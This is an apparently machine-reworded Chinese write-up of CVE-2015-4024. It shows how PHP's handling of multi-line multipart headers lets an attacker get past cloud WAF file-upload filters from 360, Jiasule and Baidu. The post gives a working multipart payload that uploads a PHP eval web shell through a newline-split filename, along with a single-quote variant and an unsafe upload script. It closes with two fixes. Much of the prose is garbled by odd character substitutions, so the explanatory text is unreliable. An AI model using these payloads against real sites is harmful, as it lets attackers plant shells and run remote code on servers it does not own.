PHP DOS漏洞的新用:CVE-2015-4024 Reviewed

1. 背景介绍

今天咱们纪念打2015.04.03底一个PHP远程dos漏洞(CVE-2015-4024)说从。技术细节见要下链接,https://bugs.php.net/bug.php?id=69364。因为php解析body
part的header时拓展字符串拼接,而拼接过程更拷贝字符导致DOS。事实上该漏洞尚闹其他非dos的施用价值,其中某,就是绕了手上各种云WAF的文本上传防御政策。

脚下国内外流行的云WAF厂商有如百度云加速,360网站卫士,加速乐,云盾等。因为PHP远程dos漏洞和PHP官方修复方案的表征,我们成功运用该漏洞绕了了手上主流WAF的文本上传防御,例如百度云加速、360网站卫士、知道创于加速乐、安全狗。

连下,我们盖PHP为条例,详细分析我们的纠缠了法。

2. 绕过WAF的原理

因PHP
DOS漏洞原理,在multipart_buffer_headers函数解析header对许value时,value值存在n行。每行的字符串以空白符开头或不存字符’:’,都接触发之下合并value的代码块。那么解析header的value就要尽(n-1)次合value的代码块,从而导致DOS。

prev_len= strlen(prev_entry.value);

cur_len= strlen(line);

entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存

memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝

memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝

entry.value[cur_len+ prev_len] = '\0';

entry.key= estrdup(prev_entry.key);

zend_llist_remove_tail(header);//1次内存释放

万一PHP官方修复方案,在开展联合时,避免重复拷贝,从而避免DOS。绕了WAF的关键在于,PHP
multipart_buffer_headers函数解析header对承诺value时,value值存在多行。每行的字符串以空白符开头或无存字符’:’,将拓展联。而WAF在解析文件上传的文件名时,没有设想协议兼容,不开展多实施统一,就可被缠了。

冲原理构造绕了WAF文件上传防御之payload,WAF解析到的文本称吧”test3.jpg”,而PHP解析到之公文称是”test3.jpg\nf/shell.php”,因为”/”是目录分隔符,上传的公文称改成shell.php。以下是纠缠了paylaod、测试脚本、paylaod进行文件上传的功能图。

WAF绕过payload:

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename="test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET['c'])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

文件上传功能测试脚本:

<?php

         $name = $_FILES['file']['name'];

        echo $name;

        echo "\n";

        move_uploaded_file($_FILES['file']['tmp_name'] , '/usr/local/nginx/html/upload/'.$_FILES['file']['name']);

        echo "upload success! ".$_FILES['file']['name'];

        echo "\n";

        echo strlen($_FILES['file']['name']);

?>

Payload能够健康上污染

图片 1

3. 绕过WAF实战

笔者通过搭建自己之测试站,接入360网站卫士和加速乐,验证绕了WAF文件上传防御之法子。

3.1 绕了360网站卫士

步骤1,验证网站都给360网站卫士防御,拦截了直接上传PHP文件的请求。

图片 2

步骤2:成功绕了360网站卫士,上传shell成功,文件是apo.php。在该要被,有无发Content-Type不影响绕了。

图片 3

3.2 绕了亮创宇加速乐

步骤同:验证网站被加速乐保护,拦截了一直上传PHP文件的恳求。

图片 4

手续二:成功绕了加速乐,上传shell,文件是syt.php。

图片 5

3.3. 缠了百度云加速

百度云加速和CloudFlare,从百度匀加速拦截页面可以观看使用的凡CloudFlare.
但是估计起本地化,百度云加速应该是百度和CloudFlare共同产物吧。测试百度没有搭建自己之测试环境,找了单接入了百度云加速的立开展测试。

步骤同:验证网站为百度云加速保护,拦截了直上传PHP文件的恳求。

图片 6

手续二:成功绕了说加速

同上

4. 恢宏—更多之干活

4.1 分析filename其他字符的纠缠了

同理,我们发现除此之外对引号外,使用单引号也能绕了WAF的防守,并落实文件上传。

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename='test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET['c'])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

4.2 分析任何以脚本语言

俺们为发现jsp解析也闹温馨的风味,同时可于用来绕了WAF。暂时不测试asp,aspx,python等常用的WEB应用脚本语言。

5. 修复方案

5.1 修复方案一

分析文件上传请求时,如果发现要不切合协议正式,则拒绝请求。可能会见发出误拦截,需要评估误拦截的影响范围。

5.2 修复方案二

相当php的文本分析方法,解析文件名时,以单引号或对引号开头,并且对应之单引号双引号闭合。

6. 总结

正文通过Review
PHP远程dos漏洞(CVE-2015-4024),并采用该特性绕了现有WAF的公文上传防御,成功达成传shell。
更关键之价,提供于咱一个绕了WAF的初思路,一种植研究新势头:利用后端应用脚本与WAF行为之别绕了WAF的看守。总的来说,一舒缓可以之WAF应该力所能及处理兼容WEB应用容器、标准协议、web服务器即间的异样。

相关文章